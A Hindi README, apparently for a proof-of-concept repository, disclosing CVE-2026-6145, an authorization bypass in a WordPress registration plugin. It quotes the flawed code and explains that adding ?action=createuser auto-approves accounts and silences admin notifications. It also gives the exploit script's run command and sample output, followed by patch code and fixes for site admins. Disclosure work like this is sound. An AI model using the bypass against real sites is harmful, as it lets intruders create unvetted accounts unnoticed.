CVE-2026-6145 — WordPress के लिए User Registration & Membership: अनधिकृत एडमिन अनुमोदन बाईपास

CVE-2026-6145 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, WordPress के User Registration & Membership प्लगइन (≤ 5.1.5) में एक लापता प्राधिकरण भेद्यता है, जो अनधिकृत हमलावरों को नए खाते बनाते समय एडमिन अनुमोदन आवश्यकता को बायपास करने की अनुमति देती है।

सारांश

भेद्यता विवरण

मूल कारण

includes/class-ur-user-approval.php में is_admin_creation_process() विधि एकमात्र द्वार है जो यह निर्धारित करती है कि नए पंजीकरण को व्यवस्थापक द्वारा आरंभिक निर्माण माना जाना चाहिए या नहीं। जब यह विधि true लौटाती है, तो दो दुष्प्रभाव उत्पन्न होते हैं:

• set_user_status() नए उपयोगकर्ता की स्थिति को APPROVED पर सेट करता है, लंबित-अनुमोदन कतार को छोड़ देता है।
• send_request_notification_to_admin() नए पंजीकरण के लिए एडमिन अधिसूचना ईमेल को दबा देता है।

यह विधि स्वयं, संस्करण 5.1.5 में, कोई प्रमाणीकरण, प्राधिकरण, या nonce सत्यापन नहीं करती है:

// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
    return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}

चूँकि $_REQUEST $_GET, $_POST, और $_COOKIE को मर्ज करता है, एक अनधिकृत हमलावर पंजीकरण फ़ॉर्म सबमिशन के URL में ?action=createuser जोड़कर इस जाँच को संतुष्ट कर सकता है। फिर प्लगइन खाते को स्वतः-अनुमोदित कर देता है और व्यवस्थापक को कभी सूचित नहीं करता है।

शोषण श्रृंखला

जबकि CVE-2026-6145 विशेष रूप से is_admin_creation_process() में लापता प्राधिकरण को संबोधित करता है, एक कठोर पंजीकरण फ़ॉर्म के खिलाफ पूर्ण अनधिकृत शोषण के लिए इसे उसी प्लगइन संस्करण की दो सहायक समस्याओं के साथ जोड़ने की आवश्यकता होती है, जिन्हें शामिल PoC स्वचालित रूप से संभालता है:

परिणाम: एक पूर्णतः अनुमोदित उपयोगकर्ता खाता, जो व्यवस्थापक की सहभागिता या अधिसूचना के बिना बनाया गया, ऐसी साइट पर जो नए पंजीकरणों के लिए स्पष्ट रूप से एडमिन अनुमोदन की आवश्यकता रखती है।

प्रूफ ऑफ कॉन्सेप्ट

आवश्यकताएँ

• Python 3.8+
• requests लाइब्रेरी
• User Registration & Membership ≤ 5.1.5 चलाने वाला एक परीक्षण लक्ष्य, जिसमें:
  • पंजीकरण सक्षम हो
  • एडमिन अनुमोदन लॉगिन विकल्प सक्षम हो
  • एक ज्ञात पंजीकरण फ़ॉर्म आईडी (data-form-id के रूप में फ़ॉर्म के पृष्ठ स्रोत में दिखाई देती है)

स्थापना

git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests

उपयोग

python3 poc_admin_approval_bypass.py <target_url> <form_id>

उदाहरण:

python3 poc_admin_approval_bypass.py http://wp.example.lab 7

अपेक्षित आउटपुट

======================================================================
  User Registration v5.1.4 - Admin Approval Bypass PoC
  CVE: 2026-6145 | CWE-862
  Affects: User Registration & Membership <= 5.1.5
======================================================================

[*] Target:  http://wp.example.lab
[*] Form ID: 7

[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5

[*] STEP 2: Registering user with admin approval bypass
    Username: poc_bypass_1747249200
    Email:    [email protected]
[+] Registration request processed (HTTP 200)

[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database

======================================================================
  RESULTS
======================================================================
  Unauthenticated Nonce Generation:  CONFIRMED
  AJAX Nonce Bypass:                  CONFIRMED
  Admin Approval Bypass (CVE-...):    CONFIRMED

  [!] User was created with AUTO-APPROVED status
  [!] Admin was NOT notified of this registration
======================================================================

सत्यापन

PoC चलाने के बाद, wp-admin में लॉग इन करें और Users → All Users जाँचें:

• बनाया गया खाता Approved स्थिति के साथ दिखाई देता है।
• उसी अवधि के दौरान सामान्य फ़ॉर्म के माध्यम से पंजीकृत एक उपयोगकर्ता Pending रहता है।
• एडमिन अधिसूचना मेलबॉक्स में बाईपास खाते के लिए कोई ईमेल नहीं होता है।

प्रभाव

जिन WordPress साइटों पर अवांछित खाता निर्माण के खिलाफ प्राथमिक द्वार के रूप में एडमिन अनुमोदन का उपयोग किया जाता है — जैसे सदस्यता साइटें, गेटेड समुदाय, आंतरिक पोर्टल, B2B प्लेटफ़ॉर्म, और पहुँच से पहले पहचान सत्यापन की आवश्यकता वाली कोई भी साइट — यह भेद्यता उस नियंत्रण को चुपचाप निष्प्रभावी कर देती है। विशिष्ट परिणामों में शामिल हैं:

• व्यावसायिक-तर्क अभिगम नियंत्रणों का बाईपास: कोई भी पंजीकरण-गेटेड सामग्री या कार्यक्षमता (केवल सदस्यता वाले पृष्ठ, प्रतिबंधित फ़ोरम, गेटेड डाउनलोड) व्यवस्थापक जाँच के बिना पहुँच योग्य हो जाती है।
• धोखाधड़ी और दुरुपयोग शमन की विफलता: स्पैम, नकली, या धोखाधड़ी वाले पंजीकरणों को फ़िल्टर करने के लिए एडमिन अनुमोदन का उपयोग करने वाली साइटें वह फ़िल्टर पूरी तरह से खो देती हैं।
• गुप्त खाता प्रावधान: क्योंकि एडमिन अधिसूचना भी दबा दी जाती है, अनधिकृत खाते मैन्युअल उपयोगकर्ता ऑडिट तक बिना पहचाने बने रह सकते हैं।
• आगे के हमलों के लिए पिवट: एक अनुमोदित निम्न-विशेषाधिकार खाता बाद के विशेषाधिकार वृद्धि, सामग्री दुरुपयोग, या उसी साइट में अन्य केवल-प्रमाणित भेद्यताओं के शोषण के लिए एक आधार है।

CVSS स्कोर केवल अखंडता-संबंधी प्रभाव को दर्शाता है (कोई प्रत्यक्ष डेटा गोपनीयता हानि या सेवा व्यवधान नहीं), लेकिन वास्तविक दुनिया का प्रभाव इस बात पर निर्भर करता है कि प्रभावित साइट अनुमोदन वर्कफ़्लो पर सुरक्षा सीमा के रूप में कितनी दृढ़ता से निर्भर करती है।

प्रभावित संस्करण

निवारण

साइट एडमिन के लिए

1. User Registration & Membership के नवीनतम संस्करण (> 5.1.5) में तुरंत अपडेट करें।
2. असुरक्षित संस्करण स्थापित होने के बाद से बनाए गए अप्रत्याशित अनुमोदित खातों के लिए Users → All Users का ऑडिट करें। उन खातों पर विशेष ध्यान दें जिनके लिए कोई संबंधित एडमिन अधिसूचना ईमेल नहीं है।
3. पहचाने गए किसी भी संदिग्ध खाते के लिए क्रेडेंशियल बदलें और गतिविधि की समीक्षा करें।
4. यदि तुरंत अपडेट संभव नहीं है, तो अस्थायी शमन के रूप में WordPress सेटिंग्स में सार्वजनिक पंजीकरण अक्षम करें।

डेवलपर्स / कोड संदर्भ के लिए

असुरक्षित विधि को क्षमता जाँच और एक मान्य nonce दोनों की आवश्यकता होनी चाहिए:

protected function is_admin_creation_process() {
    return current_user_can( 'create_users' )
        && isset( $_REQUEST['action'] )
        && 'createuser' === $_REQUEST['action']
        && isset( $_REQUEST['_wpnonce_create-user'] )
        && wp_verify_nonce(
               wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
               'create-user'
           );
}

प्रकटीकरण समयरेखा

संदर्भ

• Wordfence सलाह — CVE-2026-6145
• NVD — CVE-2026-6145
• CWE-862: लापता प्राधिकरण
• WordPress प्लगइन रिपॉजिटरी — User Registration & Membership

उसी प्लगइन में संबंधित भेद्यताएँ

इस प्लगइन के प्राधिकरण मॉडल पर नज़र रखने वाले शोधकर्ता निम्नलिखित में भी रुचि ले सकते हैं:

• CVE-2026-1492 — अनधिकृत विशेषाधिकार वृद्धि (≤ 5.1.2)
• CVE-2026-1779 — register_member के माध्यम से प्रमाणीकरण बाईपास (≤ 5.1.2)
• CVE-2026-4056 — Content Access Rules REST API पर टूटा अभिगम नियंत्रण (5.0.1 – 5.1.4)
• CVE-2026-6203 — अनधिकृत ओपन रीडायरेक्ट (≤ 5.1.4)

श्रेय

शोध, खोज, और PoC विकास:

Anthony Cihan आक्रामक सुरक्षा प्रमुख — Obviam

यदि आप इस कार्य का संदर्भ देते हैं, तो कृपया Anthony Cihan / Obviam को श्रेय देते हुए CVE-2026-6145 का उल्लेख करें।

कानूनी और नैतिक अधिसूचना

यह प्रूफ-ऑफ-कॉन्सेप्ट केवल रक्षात्मक अनुसंधान, डिटेक्शन इंजीनियरिंग, और अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित किया गया है। यह सहायता के लिए अभिप्रेत है:

• पैच तैनाती सत्यापित करने वाले WordPress साइट एडमिन
• डिटेक्शन सिग्नेचर और WAF नियम विकसित करने वाले सुरक्षा विक्रेता
• WordPress प्लगइन्स में प्राधिकरण-नियंत्रण पैटर्न का अध्ययन करने वाले शोधकर्ता
• आक्रामक और रक्षात्मक सुरक्षा कार्यक्रमों में शिक्षक और छात्र

मूल शोध एक अधिकृत प्रयोगशाला वातावरण में हस्ताक्षरित समझौते के तहत किया गया था, जिसमें सार्वजनिक रिलीज़ से पहले Wordfence जिम्मेदार प्रकटीकरण कार्यक्रम के माध्यम से विक्रेता को समन्वयित प्रकटीकरण किया गया था।

इस PoC को किसी ऐसी प्रणाली के विरुद्ध चलाना जो आपकी नहीं है या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है, अवैध है — यह अमेरिकी कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (18 U.S.C. § 1030), ब्रिटिश कंप्यूटर दुरुपयोग अधिनियम 1990, यूरोपीय संघ निर्देश 2013/40/EU, और अधिकांश क्षेत्राधिकारों में समकक्ष विधान के तहत अवैध है। लेखक और Obviam इस कोड के दुरुपयोग के लिए सभी दायित्व अस्वीकार करते हैं।

इस रिपॉजिटरी का उपयोग करके आप स्वीकार करते हैं कि आपने इन शर्तों को पढ़ लिया है, समझ लिया है, और स्वीकार कर लिया है।

लाइसेंस

MIT License के अंतर्गत जारी। उपरोक्त श्रेय अनुभाग के अनुसार श्रेय देना आवश्यक है।